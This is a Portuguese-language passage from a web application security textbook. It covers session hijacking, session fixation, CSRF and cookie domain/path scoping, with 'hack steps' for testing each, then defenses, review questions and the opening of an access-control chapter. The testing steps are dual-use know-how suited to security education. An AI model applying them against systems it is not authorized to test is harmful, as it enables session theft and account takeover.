http://mdsec.net/auth/439/
http://mdsec.net/auth/447/
http://mdsec.net/auth/452/
http://mdsec.net/auth/457/
```

Exposição do cliente ao sequestro de token

Um invasor pode visar outros usuários do aplicativo na tentativa de capturar ou usar indevidamente o token de sessão da vítima de várias maneiras:

- Uma carga útil óbvia para ataques de script entre sites é consultar os cookies do usuário para obter seu token de sessão, que pode então ser transmitido a um servidor arbitrário controlado pelo invasor. Todas as várias permutações desse ataque são descritas em detalhes no Capítulo 12.
- Vários outros ataques contra usuários podem ser usados para sequestrar a sessão do usuário de diferentes maneiras. Com as vulnerabilidades de fixação de sessão, um invasor fornece um token de sessão conhecido a um usuário, espera que ele faça login e, em seguida, sequestra sua sessão. Com ataques de falsificação de solicitação entre sites, um invasor faz uma solicitação criada para um aplicativo de um site que ele controla e explora o fato de que o navegador do usuário envia automaticamente o cookie atual com essa solicitação. Esses ataques também são descritos no Capítulo 12.

ETAPAS DO HACK

1. Identifique as vulnerabilidades de script entre sites no aplicativo e determine se elas podem ser exploradas para capturar os tokens de sessão de outros usuários (consulte o Capítulo 12).
2. Se o aplicativo emitir tokens de sessão para usuários não autenticados, obtenha um token e faça um login. Se o aplicativo não emitir um novo token *após* um login bem-sucedido, ele estará vulnerável à fixação de sessão.
3. Mesmo que o aplicativo não emita tokens de sessão para usuários não autenticados, obtenha um token fazendo login e, em seguida, retorne à página de login. Se o aplicativo estiver disposto a retornar essa página mesmo que você já esteja autenticado, envie outro login como um usuário diferente usando o mesmo token. Se o aplicativo não emitir um novo token após o segundo login, ele estará vulnerável à fixação de sessão.
4. Identifique o formato dos tokens de sessão usados pelo aplicativo. Modifique seu token para um valor inventado que seja formado de forma válida e tente fazer login.
   Se o aplicativo permitir que você crie uma sessão autenticada usando um token inventado, ele estará vulnerável à fixação de sessão.
5. Se o aplicativo não for compatível com o login, mas processar informações confidenciais do usuário (como detalhes pessoais e de pagamento) e permitir que elas sejam exibidas após o envio (como em uma página "verificar meu pedido"), e x e c u t e os três testes anteriores em relação às páginas que exibem dados confidenciais. Se um token definido durante o uso anônimo do aplicativo puder ser usado posteriormente para recuperar informações confidenciais do usuário, o aplicativo estará vulnerável à fixação de sessão.
6. Se o aplicativo usar cookies HTTP para transmitir tokens de sessão, ele poderá estar vulnerável à falsificação de solicitações entre sites (XSRF). Primeiro, faça login no aplicativo. Em seguida, confirme que uma solicitação feita ao aplicativo, mas originada de uma página de um aplicativo diferente, resulta no envio do token do usuário. (Esse envio precisa ser feito de uma janela do mesmo processo de navegador que foi usado para fazer login no aplicativo de destino). Tentar identificar quaisquer funções confidenciais do aplicativo cujos parâmetros um invasor possa determinar antecipadamente e explorar isso para realizar ações não autorizadas dentro do contexto de segurança de um usuário-alvo. Consulte o Capítulo 13 para obter mais detalhes sobre como executar ataques XSRF.

Escopo de cookies liberais

O resumo simples e comum de como os cookies funcionam é que o servidor emite um cookie usando o cabeçalho de resposta HTTP `Set-cookie`, e o navegador reenvia esse cookie em solicitações subsequentes ao mesmo servidor usando o cabeçalho `Cookie`. Na verdade, as coisas são bem mais sutis do que isso.

O mecanismo de cookie permite que um servidor especifique o domínio e o caminho do URL para o qual cada cookie será reenviado. Para fazer isso, ele usa os atributos `de domínio` e `caminho` que podem ser incluídos na instrução `Set-cookie`.

Restrições de domínio de cookies

Quando o aplicativo que reside em `foo.wahh-app.com` define um cookie, o navegador, por padrão, reenvia o cookie em todas as solicitações subsequentes para `foo.wahh-app.com`, e também para quaisquer subdomínios, como `admin.foo.wahh-app.com`. Ele não envia o cookie para nenhum outro domínio, incluindo o domínio pai `wahh-app.com` e nenhum outro subdomínio do pai, como `bar.wahh-app.com`. Um servidor pode substituir esse comportamento padrão incluindo um atributo `de domínio` na instrução `Set-cookie`. Por exemplo, suponha que o aplicativo em `foo.wahh-app.com` retorna o seguinte cabeçalho HTTP:

```
Set-cookie: sessionId=19284710; domain=wahh-app.com;
```

Em seguida, o navegador reenvia esse cookie a todos os subdomínios de `wahh-app.com`, inclusive `bar.wahh-app.com`.

OBSERVAÇÃO Um servidor não pode especificar qualquer domínio usando esse atributo. Em primeiro lugar, o domínio especificado deve ser o mesmo domínio em que o aplicativo está sendo executado ou um domínio que seja seu pai (imediatamente ou em alguma remoção). Em segundo lugar, o domínio especificado não pode ser um domínio de nível superior, como **`.com`** ou **`.co.uk`**, pois isso permitiria que um servidor mal-intencionado definisse cookies arbitrários em qualquer outro domínio. Se o servidor violar uma dessas regras, o navegador simplesmente ignorará a instrução **`Set-cookie`**.

Se um aplicativo definir o escopo de domínio de um cookie como indevidamente liberal, isso poderá expor o aplicativo a várias vulnerabilidades de segurança.

Por exemplo, considere um aplicativo de blog que permite que os usuários se registrem, façam login, escrevam posts em blogs e leiam os blogs de outras pessoas. O aplicativo principal está localizado no domínio `wahh-blogs.com`. Quando os usuários fazem login no aplicativo, eles recebem um token de sessão em um cookie cujo escopo é esse domínio. Cada usuário pode criar blogs que são acessados por meio de um novo subdomínio prefixado pelo seu nome de usuário:

```
herman.wahh-blogs.com
solero.wahh-blogs.com
```

Como os cookies são reenviados automaticamente a todos os subdomínios dentro de seu escopo, quando um usuário conectado navega nos blogs de outros usuários, seu token de sessão é enviado com suas solicitações. Se os autores de blogs tiverem permissão para colocar JavaScript arbitrário em seus próprios blogs (como geralmente acontece em

aplicativos de blog do mundo real), um blogueiro mal-intencionado pode roubar os tokens de sessão de outros usuários da mesma forma que é feito em um ataque de script entre sites armazenados (consulte o Capítulo 12).

O problema surge porque os blogs de autoria do usuário são criados como subdomínios do aplicativo principal que lida com a autenticação e o gerenciamento de sessões. Não há recurso nos cookies HTTP para que o aplicativo impeça que os cookies emitidos pelo domínio principal sejam reenviados aos seus subdomínios.

A solução é usar um nome de domínio diferente para o aplicativo principal (por exemplo, www.wahh-blogs.com) e escopo do domínio de seus cookies de token de sessão para esse nome totalmente qualificado. Assim, o cookie de sessão não será enviado quando um usuário conectado navegar nos blogs de outros usuários.

Uma versão diferente dessa vulnerabilidade surge quando um aplicativo define explicitamente o escopo do domínio de seus cookies para um domínio pai. Por exemplo, suponha que um aplicativo crítico para a segurança esteja localizado no domínio `sensitiveapp.wahh-organization.com`. Quando define cookies, ele liberaliza explicitamente o escopo do domínio, como segue:

```
Set-cookie: sessionId=12df098ad809a5219; domain=wahh-organization.com
```

A consequência disso é que os cookies de token de sessão do aplicativo sensível serão enviados quando um usuário visitar *cada* subdomínio usado pela `wahh-organization.com`, inclusive:

```
www.wahh-organization.com
testapp.wahh-organization.com
```

Embora esses outros aplicativos possam pertencer à mesma organização que o aplicativo confidencial, é indesejável que os cookies do aplicativo confidencial sejam enviados a outros aplicativos, por vários motivos:

- O pessoal responsável pelos outros aplicativos pode ter um nível de confiança diferente do pessoal responsável pelo aplicativo confidencial.
- Os outros aplicativos podem conter funcionalidades que permitam que terceiros obtenham o valor dos cookies enviados ao aplicativo, como no exemplo anterior do blog.
- Os outros aplicativos podem não ter sido submetidos aos mesmos padrões ou testes de segurança que o aplicativo confidencial (por serem menos importantes, não manipularem dados confidenciais ou terem sido criados apenas para fins de teste). Muitos tipos de vulnerabilidade que podem existir nesses aplicativos (por exemplo, vulnerabilidades de script entre sites) podem ser irrelevantes para a postura de segurança desses aplicativos. Mas eles podem permitir que um invasor externo aproveite um aplicativo inseguro para capturar tokens de sessão criados pelo aplicativo sensível.

OBSERVAÇÃO A segregação de cookies com base no domínio não é tão rigorosa quanto a política de mesma origem em geral (consulte o Capítulo 3). Além dos problemas já descritos no tratamento de nomes de host, os navegadores ignoram o protocolo e o número da porta ao determinar o escopo do cookie. Se um aplicativo compartilha um nome de host com um aplicativo não confiável e depende de uma diferença no protocolo ou no número da porta para se segregar, o tratamento mais relaxado dos cookies pode prejudicar essa segregação. Todos os cookies emitidos pelo aplicativo poderão ser acessados pelo aplicativo não confiável que compartilha seu nome de host.

ETAPAS DO HACK

Analise todos os cookies emitidos pelo aplicativo e verifique se há algum **domínio** usados para controlar o escopo dos cookies.

1. Se um aplicativo liberalizar explicitamente o escopo de seus cookies para um domínio pai, ele pode estar se deixando vulnerável a ataques por meio de outros aplicativos da Web.
2. Se um aplicativo definir o escopo de domínio de seus cookies como seu próprio nome de domínio (ou não especificar um atributo de domínio), ele ainda poderá ser exposto a aplicativos ou funcionalidades acessíveis por meio de subdomínios.

Identifique todos os possíveis nomes de domínio que receberão os cookies emitidos pelo aplicativo. Determine se algum outro aplicativo ou funcionalidade da Web pode ser acessado por meio desses nomes de domínio que você pode aproveitar para obter os cookies emitidos para os usuários do aplicativo de destino.

Restrições de caminho de cookies

Quando o aplicativo que reside em `/apps/secure/foo-app/index.jsp` define um cookie, o navegador, por padrão, reenvia o cookie em todas as solicitações subsequentes para o caminho `/apps/secure/foo-app/` e também para quaisquer subdiretórios. Ele não envia o cookie para o diretório pai ou para qualquer outro caminho de diretório existente no servidor.

Assim como ocorre com as restrições baseadas em domínio no escopo do cookie, um servidor pode substituir esse comportamento padrão incluindo um atributo `de caminho` na instrução `Set-cookie`. Por exemplo, se o aplicativo retornar o seguinte cabeçalho HTTP:

```
Set-cookie: sessionId=187ab023e09c00a881a; path=/apps/;
```

o navegador reenvia esse cookie para todos os subdiretórios do caminho `/apps/`.

Em contraste com o escopo de cookies baseado em domínio, essa restrição baseada em caminho é muito mais rigorosa do que a imposta pela política de mesma origem. Dessa forma, ela é quase totalmente ineficaz se for usada como um mecanismo de segurança para se defender contra cookies não confiáveis.

aplicativos hospedados no mesmo domínio. O código do lado do cliente executado em um caminho pode abrir uma janela ou iframe direcionado a um caminho diferente no mesmo domínio e pode ler e gravar nessa janela sem nenhuma restrição. Portanto, obter um cookie com escopo para um caminho diferente no mesmo domínio é relativamente simples. Consulte o seguinte artigo de Amit Klein para obter mais detalhes:

```
http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/
2006-March/000843.html
```

Proteção do gerenciamento de sessões

As medidas defensivas que os aplicativos da Web devem adotar para evitar ataques aos seus mecanismos de gerenciamento de sessão correspondem às duas grandes categorias de vulnerabilidade que afetam esses mecanismos. Para executar o gerenciamento de sessões de forma segura, um aplicativo deve gerar seus tokens de forma robusta e deve proteger esses tokens durante todo o ciclo de vida, desde a criação até o descarte.

Gerar tokens fortes

Os tokens usados para reidentificar um usuário entre solicitações sucessivas devem ser gerados de forma a não dar margem a um invasor que obtenha uma grande amostra de tokens do aplicativo da maneira usual para prever ou extrapolar os tokens emitidos para outros usuários.

Os mecanismos de geração de tokens mais eficazes são aqueles que:

- Usar um conjunto extremamente grande de valores possíveis
- Contêm uma forte fonte de pseudoaleatoriedade, garantindo uma distribuição uniforme e imprevisível de tokens no intervalo de valores possíveis

Em princípio, qualquer item de comprimento e complexidade arbitrários pode ser adivinhado usando força bruta com tempo e recursos suficientes. O objetivo de projetar um mecanismo para gerar tokens fortes é que seja extremamente improvável que um determinado invasor com grande quantidade de largura de banda e recursos de processamento consiga adivinhar um único token válido dentro do período de validade.

Os tokens não devem consistir em nada mais do que um identificador usado pelo servidor para localizar o objeto de sessão relevante a ser usado para processar a solicitação do usuário. O token não deve conter nenhum significado ou estrutura, seja abertamente ou envolto em camadas de codificação ou ofuscação. Todos os dados sobre o proprietário e o status da sessão devem ser armazenados no servidor no objeto de sessão ao qual o token de sessão corresponde.

Tenha cuidado ao selecionar uma fonte de aleatoriedade. Os desenvolvedores devem estar cientes de que as várias fontes disponíveis

provavelmente serão diferentes em termos de força

significativamente. Alguns, como o `java.util.Random`, são perfeitamente úteis para muitos propósitos em que é necessária uma fonte de entrada variável. Mas eles podem ser extrapolados nas direções direta e inversa com perfeita certeza com base em um único item de saída. Os desenvolvedores devem investigar as propriedades matemáticas dos algoritmos reais usados em diferentes fontes de aleatoriedade disponíveis e devem ler a documentação relevante sobre os usos recomendados de diferentes APIs. Em geral, se um algoritmo não for explicitamente descrito como sendo criptograficamente seguro, deve-se presumir que ele é previsível.

OBSERVAÇÃO Algumas fontes de aleatoriedade de alta resistência levam algum tempo para retornar o próximo valor em sua sequência de saída devido às etapas que realizam para obter entropia suficiente (como a partir de eventos do sistema). Portanto, elas podem não fornecer valores com rapidez suficiente para gerar tokens para alguns aplicativos de alto volume.

Além de selecionar a fonte de aleatoriedade mais robusta que for viável, uma boa prática é introduzir como fonte de entropia algumas informações sobre a solicitação individual para a qual o token está sendo gerado. Essas informações podem não ser exclusivas dessa solicitação, mas podem ser eficazes para atenuar os pontos fracos do gerador de números pseudoaleatórios principal que está sendo usado. Aqui estão alguns exemplos de informações que podem ser incorporadas:

- O endereço IP de origem e o número da porta da qual a solicitação foi recebida
- O cabeçalho `User-Agent` na solicitação
- O tempo da solicitação em milissegundos

Uma fórmula altamente eficaz para incorporar essa entropia é construir uma string que concatene um número pseudoaleatório, uma variedade de dados específicos da solicitação, conforme listado, e uma string secreta conhecida apenas pelo servidor e gerada novamente a cada reinicialização. Em seguida, é feito um hash adequado dessa cadeia (usando, por exemplo, SHA-256 no momento da redação deste texto) para produzir uma cadeia de comprimento fixo gerenciável que pode ser usada como um token. (Colocar os itens mais variáveis no início da entrada do hash maximiza o efeito de "avalanche" no algoritmo de hashing).

DICA Depois de escolher um algoritmo para gerar tokens de sessão, um "experimento mental" útil é imaginar que sua fonte de pseudoaleatoriedade está quebrada e sempre retorna o mesmo valor. Nessa eventualidade, será que um

Um atacante que obtenha uma grande amostra de tokens do aplicativo poderá extrapolar os tokens emitidos para outros usuários? Usando a fórmula descrita aqui, em geral isso é altamente improvável, mesmo com total conhecimento do algoritmo usado. O IP de origem, o número da porta, o cabeçalho **`User-Agent`** e o horário da solicitação juntos geram uma grande quantidade de entropia. E mesmo com total conhecimento desses dados, o invasor não conseguirá produzir o token correspondente sem conhecer a string secreta usada pelo servidor.

Proteja os tokens durante todo o seu ciclo de vida

Agora que você criou um token robusto cujo valor não pode ser previsto, esse token precisa ser protegido durante todo o seu ciclo de vida, desde a criação até o descarte, para garantir que não seja divulgado a ninguém além do usuário para o qual foi emitido:

- O token só deve ser transmitido por HTTPS. Qualquer token transmitido em texto não criptografado deve ser considerado contaminado, ou seja, como não fornecendo garantia da identidade do usuário. Se os cookies HTTP estiverem sendo usados para transmitir tokens, eles deverão ser sinalizados como `seguros` para evitar que o navegador do usuário os transmita por HTTP. Se for possível, o HTTPS deve ser usado em todas as páginas do aplicativo, inclusive no conteúdo estático, como páginas de ajuda, imagens e assim por diante. Se isso não for desejado e um serviço HTTP ainda estiver implementado, o aplicativo deverá redirecionar todas as solicitações de conteúdo confidencial (inclusive a página de login) para o serviço HTTPS. Recursos estáticos, como páginas de ajuda, geralmente não são confidenciais e podem ser acessados sem nenhuma sessão autenticada. Portanto, o uso de cookies seguros pode ser respaldado por instruções de escopo de cookies para evitar que os tokens sejam enviados em solicitações para esses recursos.
- Os tokens de sessão nunca devem ser transmitidos no URL, pois isso proporciona um veículo simples para ataques de fixação de sessão e faz com que os tokens apareçam em vários mecanismos de registro. Em alguns casos, os desenvolvedores usam essa técnica para implementar sessões em navegadores que têm cookies desativados. No entanto, uma maneira melhor de conseguir isso é usar solicitações `POST` para toda a navegação e armazenar tokens em um campo oculto de um formulário HTML.
- A funcionalidade de logout deve ser implementada. Isso deve descartar todos os recursos de sessão mantidos no servidor e invalidar o token de sessão.
- A expiração da sessão deve ser implementada após um período adequado de inatividade (por exemplo, 10 minutos). Isso deve resultar no mesmo comportamento como se o usuário tivesse feito logout explicitamente.
- Os logins simultâneos devem ser evitados. Cada vez que um usuário faz login, um token de sessão diferente deve ser emitido, e qualquer sessão existente pertencente ao usuário deve ser descartada como se ele tivesse feito logout. Quando isso ocorrer, o token antigo poderá ser armazenado por um período de tempo. Todas as solicitações subsequentes recebidas usando o token devem retornar um alerta de segurança para o usuário informando que a sessão foi encerrada porque ele fez login em um local diferente.
- Se o aplicativo contiver alguma funcionalidade administrativa ou de diagnóstico que permita a visualização de tokens de sessão, essa funcionalidade deverá ser protegida de forma robusta contra acesso não autorizado. Na maioria dos casos, não é necessário que essa funcionalidade

exiba o token de sessão real. Em vez disso, ela deve conter detalhes suficientes sobre o proprietário da sessão para qualquer acesso não autorizado.

tarefas de suporte e diagnóstico a serem realizadas, sem divulgar o token de sessão enviado pelo usuário para identificar sua sessão.

- O escopo do domínio e do caminho dos cookies de sessão de um aplicativo deve ser definido da forma mais restrita possível. Os cookies com escopo excessivamente liberal geralmente são gerados por plataformas de aplicativos da Web ou servidores da Web mal configurados, e não pelos próprios desenvolvedores de aplicativos. Nenhum outro aplicativo da Web ou funcionalidade não confiável deve ser acessado por meio de nomes de domínio ou caminhos de URL que estejam incluídos no escopo dos cookies do aplicativo. Deve-se prestar atenção especial a todos os subdomínios existentes no nome de domínio que é usado para acessar o aplicativo. Em alguns casos, para garantir que essa vulnerabilidade não ocorra, pode ser necessário modificar o esquema de nomeação de domínios e caminhos empregado pelos vários aplicativos em uso na organização.

Medidas específicas devem ser tomadas para defender o mecanismo de gerenciamento de sessão contra a variedade de ataques dos quais os usuários do aplicativo podem ser alvos:

- A base de código do aplicativo deve ser rigorosamente auditada para identificar e remover quaisquer vulnerabilidades de script entre sites (consulte o Capítulo 12). A maioria dessas vulnerabilidades pode ser explorada para atacar os mecanismos de gerenciamento de sessão. Em particular, os ataques XSS armazenados (ou *de segunda ordem*) geralmente podem ser explorados para derrotar todas as defesas concebíveis contra o uso indevido e o sequestro de sessões.
- Os tokens arbitrários enviados por usuários que o servidor não reconhece não devem ser aceitos. O token deve ser imediatamente cancelado no navegador, e o usuário deve retornar à página inicial do aplicativo.
- A falsificação de solicitações entre sites e outros ataques de sessão podem ser dificultados pela exigência de confirmação em duas etapas e/ou reautenticação antes da realização de ações críticas, como transferências de fundos.
- Os ataques de falsificação de solicitações entre sites podem ser combatidos se não dependermos exclusivamente de cookies HTTP para transmitir tokens de sessão. O uso do mecanismo de cookie introduz a vulnerabilidade porque os cookies são enviados automaticamente pelo navegador, independentemente do que causou a solicitação. Se os tokens forem sempre transmitidos em um campo oculto de um formulário HTML, um invasor não poderá criar um formulário cujo envio causará uma ação não autorizada, a menos que ele já saiba o valor do token. Nesse caso, ele pode simplesmente executar um ataque de sequestro fácil. Os tokens por página também podem ajudar a evitar esses ataques (consulte a seção a seguir).
- Uma nova sessão deve sempre ser criada após a autenticação bem-sucedida, para atenuar os efeitos dos ataques de fixação de sessão. Quando um aplicativo não usa autenticação, mas permite o envio de dados confidenciais, é mais

difícil lidar com a ameaça representada pelos ataques de fixação. Uma abordagem possível

é manter a sequência de páginas em que os dados confidenciais são enviados o mais curta possível. Em seguida, você pode criar uma nova sessão na primeira página dessa sequência (quando necessário, copiando da sessão existente todos os dados necessários, como o conteúdo de um carrinho de compras). Ou você pode usar tokens por página (descritos na seção a seguir) para impedir que um invasor que conheça o token usado na primeira página acesse as páginas subsequentes. Exceto quando estritamente necessário, os dados pessoais não devem ser exibidos de volta ao usuário. Mesmo quando isso for necessário (como uma página de "confirmação de pedido" que mostra endereços), itens confidenciais, como números de cartão de crédito e senhas, *nunca* devem ser exibidos de volta ao usuário e sempre devem ser mascarados na fonte da resposta do aplicativo.

Tokens por página

É possível obter um controle mais refinado sobre as sessões, e muitos tipos de ataques a sessões podem ser dificultados ou impossibilitados, usando tokens por página além dos tokens de sessão. Nesse caso, um novo token de página é criado sempre que um usuário solicita uma página de aplicativo (em vez de uma imagem, por exemplo) e é passado para o cliente em um cookie ou em um campo oculto de um formulário HTML. Cada vez que o usuário faz uma solicitação, o token de página é validado em relação ao último valor emitido, além da validação normal do token de sessão principal. Em caso de não correspondência, a sessão inteira é encerrada. Muitos dos aplicativos da Web mais críticos em termos de segurança na Internet, como bancos on-line, empregam tokens por página para oferecer maior proteção ao seu mecanismo de gerenciamento de sessão, conforme mostrado na Figura 7-12.

Figura 7-12: Tokens por página usados em um aplicativo bancário

O uso de tokens por página impõe algumas restrições à navegação (por exemplo, o uso dos botões voltar e avançar e a navegação em várias janelas).

No entanto, ele impede efetivamente os ataques de fixação de sessão e garante que o uso simultâneo de uma sessão sequestrada por um usuário legítimo e um invasor seja rapidamente bloqueado depois que ambos fizerem uma única solicitação. Os tokens por página também podem ser aproveitados para rastrear o local e o movimento do usuário no aplicativo. Eles também podem ser usados para detectar tentativas de acessar funções fora de uma sequência definida, ajudando a proteger contra determinados defeitos de controle de acesso (consulte o Capítulo 8).

Registrar, monitorar e alertar

A funcionalidade de gerenciamento de sessões do aplicativo deve estar intimamente integrada aos seus mecanismos de registro, monitoramento e alerta para fornecer registros adequados de atividades anômalas e permitir que os administradores tomem medidas defensivas quando necessário:

- O aplicativo deve monitorar as solicitações que contêm tokens inválidos. Exceto nos casos mais previsíveis, um ataque bem-sucedido que t e n t a adivinhar os tokens emitidos para outros usuários normalmente envolve a emissão de um grande número de solicitações contendo tokens inválidos, deixando uma marca perceptível nos logs do aplicativo.
- É difícil bloquear totalmente os ataques de força bruta contra tokens de sessão, pois nenhuma conta de usuário ou sessão específica pode ser desativada para interromper o ataque. Uma ação possível é bloquear os endereços IP de origem por um determinado período de tempo quando um número de solicitações contendo tokens inválidos for recebido. No entanto, isso pode ser ineficaz quando as solicitações de um usuário se originam de vários endereços IP (como usuários da AOL) ou quando as solicitações de vários usuários se originam do mesmo endereço IP (como usuários atrás de um proxy ou firewall que realiza a tradução de endereços de rede).
- Mesmo que os ataques de força bruta contra sessões não possam ser efetivamente evitados em tempo real, manter registros detalhados e alertar os administradores permite que eles investiguem o ataque e tomem as medidas apropriadas quando possível.
- Sempre que possível, os usuários devem ser alertados sobre eventos anômalos relacionados à sua sessão, como logins simultâneos ou sequestro aparente (detectado usando tokens por página). Mesmo que um comprometimento já tenha ocorrido, isso permite que o usuário verifique se houve alguma ação não autorizada, como transferências de fundos.

Encerramento de sessão reativa

O mecanismo de gerenciamento de sessão pode ser aproveitado como uma defesa altamente eficaz contra muitos tipos de outros ataques contra o aplicativo. Alguns aplicativos críticos para a segurança, como bancos on-line, são extremamente agressivos ao encerrar a sessão de um usuário sempre que ele envia uma solicitação anômala.

Exemplos são qualquer solicitação que contenha um campo de formulário HTML oculto modificado ou um parâmetro de string de consulta de URL, qualquer solicitação que contenha strings associadas a injeção de SQL ou ataques de script entre sites e qualquer entrada de usuário que normalmente teria sido bloqueada por verificações no lado do cliente, como restrições de comprimento.

É claro que todas as vulnerabilidades reais que possam ser exploradas com o uso de tais solicitações precisam ser resolvidas na fonte. Mas forçar os usuários a se autenticarem novamente toda vez que enviarem uma solicitação inválida pode retardar o processo de sondagem do aplicativo em busca de vulnerabilidades em muitas ordens de magnitude, mesmo quando são empregadas técnicas automáticas. Se ainda existirem vulnerabilidades residuais, é muito menos provável que elas sejam descobertas por alguém da área.

Quando esse tipo de defesa for implementado, recomenda-se também que ele possa ser facilmente desativado para fins de teste. Se um teste de penetração legítimo do aplicativo for retardado da mesma forma que um invasor do mundo real, sua eficácia será drasticamente reduzida. Além disso, é muito provável que a presença do mecanismo resulte na permanência de mais vulnerabilidades no código de produção do que se o mecanismo não estivesse presente.

ETAPAS DO HACK

Se o aplicativo que você estiver atacando usar esse tipo de medida defensiva, você poderá descobrir que sondar o aplicativo em busca de muitos tipos de vulnerabilidades comuns consome muito tempo. A necessidade estonteante de fazer login depois de cada teste fracassado e voltar para o ponto do aplicativo que você estava examinando faria com que você desistisse rapidamente.

Nessa situação, muitas vezes você pode usar a automação para resolver o problema. Ao usar o Burp Intruder para realizar um ataque, você pode usar o recurso Obtain Cookie para realizar um novo login antes de enviar cada caso de teste e usar o novo token de sessão (desde que o login seja de estágio único). Ao navegar e sondar o aplicativo manualmente, você pode usar os recursos de extensibilidade do Burp Proxy por meio da interface **`IBurpExtender`**. É possível criar uma extensão que detecte quando o aplicativo executou um logout forçado, efetue automaticamente o login de volta no aplicativo e retorne a nova sessão e a página para o navegador, opcionalmente com uma mensagem pop-up para informar o que ocorreu. Embora isso não elimine o problema de forma alguma, em certos casos pode atenuá-lo substancialmente.

Resumo

O mecanismo de gerenciamento de sessão fornece uma fonte rica de possíveis vulnerabilidades que você pode usar como alvo ao formular o seu ataque contra um aplicativo. Devido ao seu papel fundamental de permitir que o aplicativo identifique o mesmo usuário em várias solicitações, uma função de gerenciamento de sessão interrompida geralmente

fornece as chaves do reino. Entrar nas sessões de outros usuários é bom. Sequestrar a sessão de um administrador é ainda melhor; normalmente, isso permite que você comprometa todo o aplicativo.

Você pode esperar encontrar uma grande variedade de defeitos na funcionalidade de gerenciamento de sessões do mundo real. Quando mecanismos personalizados são empregados, os possíveis pontos fracos e avenidas de ataque podem parecer intermináveis. A lição mais importante a ser extraída desse tópico é ter paciência e determinação. Muitos mecanismos de gerenciamento de sessão que parecem ser robustos em uma primeira inspeção podem ser considerados deficientes quando analisados de perto. Decifrar o método que um aplicativo usa para gerar sua sequência de tokens aparentemente aleatórios pode exigir tempo e engenhosidade. Mas, dada a recompensa, geralmente é um investimento que vale a pena.

Perguntas

As respostas podem ser encontradas em `http://mdsec.net/wahh`.

1. Você faz login em um aplicativo e o servidor define o seguinte cookie:

```
Set-cookie: sessid=amltMjM6MTI0MToxMTk0ODcwODYz;
```

   Uma hora depois, você faz login novamente e recebe o seguinte: `Set-cookie: sessid=amltMjM6MTI0MToxMTk0ODc1MTMy;` O que você pode deduzir sobre esses cookies?

2. Um aplicativo utiliza tokens de sessão alfanuméricos de seis caracteres e senhas alfanuméricas de cinco caracteres. Ambas são geradas aleatoriamente de acordo com um algoritmo imprevisível. Qual delas provavelmente será o alvo mais interessante para um ataque de adivinhação por força bruta? Liste todos os diferentes fatores que podem ser relevantes para sua decisão.

3. Você faz login em um aplicativo no seguinte URL:

```
https://foo.wahh-app.com/login/home.php
```

   e o servidor define o seguinte cookie:

```
Set-cookie: sessionId=1498172056438227; domain=foo.wahh-
app.com; path=/login; HttpOnly;
```

   Em seguida, você visita uma série de outros URLs. Para qual dos seguintes itens seu navegador enviará o cookie `sessionId`? (Selecione todos os que se aplicam.)

   (a) `https://foo.wahh-app.com/login/myaccount.php`

   (b) `https://bar.wahh-app.com/login`

   (c) `https://staging.foo.wahh-app.com/login/home.php`

   (d) `http://foo.wahh-app.com/login/myaccount.php`

(e) `http://foo.wahh-app.com/logintest/login.php`

(f) `https://foo.wahh-app.com/logout`

(g) `https://wahh-app.com/login/`

(h) `https://xfoo.wahh-app.com/login/myaccount.php`

4. O aplicativo que você está direcionando usa tokens por página, além do token de sessão principal. Se um token por página for recebido fora de sequência, a sessão inteira será invalidada. Suponha que você descubra algum defeito que lhe permita prever ou capturar os tokens emitidos para outros usuários que estejam acessando o aplicativo no momento. Você pode sequestrar as sessões deles?

5. Você faz login em um aplicativo e o servidor define o seguinte cookie:

```
Set-cookie: sess=ab11298f7eg14;
```

Quando você clica no botão de logout, o seguinte script do lado do cliente é executado:

```
document.cookie="sess=";
document.location="/";
```

Que conclusão você tiraria desse comportamento?

CAPÍTULO

8

Atacando o acesso Controles

Dentro dos principais mecanismos de segurança do aplicativo, os controles de acesso são logicamente criados com base na autenticação e no gerenciamento de sessões. Até agora, você viu como um aplicativo pode primeiro verificar a identidade de um usuário e, em seguida, confirmar que uma determinada sequência de solicitações que ele recebe foi originada pelo mesmo usuário. O principal motivo pelo qual o aplicativo precisa fazer essas coisas - pelo menos em termos de segurança - é porque ele precisa de uma maneira de decidir se deve permitir que uma determinada solicitação execute a ação tentada ou acesse os recursos que está solicitando. Os controles de acesso são um mecanismo de defesa fundamental dentro do aplicativo porque são responsáveis por tomar essas decisões importantes. Quando estão com defeito, um invasor pode comprometer todo o aplicativo, assumindo o controle da funcionalidade administrativa e acessando dados confidenciais pertencentes a todos os outros usuários. Conforme observado no Capítulo 1, os controles de acesso quebrados estão entre as categorias mais comuns de vulnerabilidade de aplicativos Web, afetando 71% dos aplicativos testados recentemente pelos autores. É extremamente comum encontrar aplicativos que se dão ao trabalho de implementar mecanismos robustos para autenticação e gerenciamento de sessões, mas que desperdiçam esse investimento ao negligenciar a criação de controles de acesso eficazes. Um motivo pelo qual esses pontos fracos são tão comuns é que as verificações de controle de acesso precisam ser executadas para cada solicitação e cada operação em um recurso que um determinado usuário tenta realizar, em um momento específico. E, ao contrário de muitas outras classes de controle, essa é uma decisão de projeto que precisa ser tomada por um ser humano; não é possível ser resolvido com o uso de tecnologia.

As vulnerabilidades de controle de acesso são conceitualmente simples: O aplicativo permite que você faça algo que não deveria ser capaz de fazer. As diferenças entre as falhas distintas se resumem, na verdade, às diferentes maneiras pelas quais esse defeito central se manifesta e às diferentes técnicas que você precisa empregar para detectá-lo. Este capítulo descreve todas essas técnicas, mostrando como você pode explorar diferentes tipos de comportamento em um aplicativo para executar ações não autorizadas e acessar dados protegidos.

Vulnerabilidades comuns

Os controles de acesso podem ser divididos em três categorias amplas: vertical, horizontal e dependente do contexto.

Os controles de acesso vertical permitem que diferentes tipos de usuários acessem diferentes partes da funcionalidade do aplicativo. No caso mais simples, isso normalmente envolve uma divisão entre usuários comuns e administradores. Em casos mais complexos, os controles de acesso vertical podem envolver funções de usuário refinadas que concedem acesso a funções específicas, com cada usuário sendo alocado a uma única função ou a uma combinação de diferentes funções.

Os controles de acesso horizontal permitem que os usuários acessem um determinado subconjunto de uma gama mais ampla de recursos do mesmo tipo. Por exemplo, um aplicativo de webmail pode permitir que você leia o seu e-mail, mas não o de outras pessoas; um banco on-line pode permitir que você transfira dinheiro apenas da sua conta; e um aplicativo de fluxo de trabalho pode permitir que você atualize tarefas atribuídas a você, mas apenas leia tarefas atribuídas a outras pessoas. Os controles de acesso dependentes do contexto garantem que o acesso dos usuários seja restrito ao que é permitido de acordo com o estado atual do aplicativo. Por exemplo, se um usuário estiver seguindo vários estágios em um processo, os controles de acesso dependentes do contexto pode impedir o usuário de acessar os estágios fora da ordem prescrita.

